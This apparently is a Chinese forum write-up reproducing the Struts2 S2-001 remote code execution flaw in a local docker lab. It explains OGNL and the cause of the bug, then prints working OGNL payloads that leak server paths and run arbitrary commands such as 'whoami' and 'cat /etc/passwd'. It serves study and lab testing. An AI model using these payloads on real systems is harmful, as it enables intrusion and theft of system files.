S2-001 远程代码执行漏洞复现

1. struts2 介绍

Apache Struts 2 最初被称为 WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级 Java Web 应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。

参考资料:https://blog.csdn.net/qq_35326718/article/details/70943604

2. OGNL 表达式

对象导航图语言(Object Graph Navigation Language),简称 OGNL,是应用于 Java 中的一个开源的表达式语言(Expression Language),它被集成在 Struts2 等框架中,作用是对数据进行访问,它拥有类型转换、访问对象方法、操作集合对象等功能。

OGNL 是 Object Graphic Navigation Language(对象图导航语言)的缩写,它是一个开源项目。Struts2 框架使用 OGNL 作为默认的表达式语言。

作用:取值,获取 javaBean 中的属性,获取 List 或者数组元素,获得 Map 的键值对,还可以执行逻辑运算。

3. S2-001 远程代码执行漏洞

3.1 影响版本

WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

3.2 漏洞分析

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

3.3 环境

执行以下命令启动 s2-001 测试环境

docker-compose build
docker-compose up -d

搭建之后访问 http://127.0.0.1:8080/

4.4 POC && EXP

手动验证是否存在漏洞:

%{1+1}

返回结果:

获取 Tomcat 执行路径:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

返回结果:

tomcatBinDir{/usr/local/tomcat}

获取 Web 路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

执行任意命令(命令加参数:new java.lang.String[]{"cat","/etc/passwd"}

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

也可以在 bp 中执行任意命令

使用完之后,及时关掉环境

回帖
请输入回帖内容 ...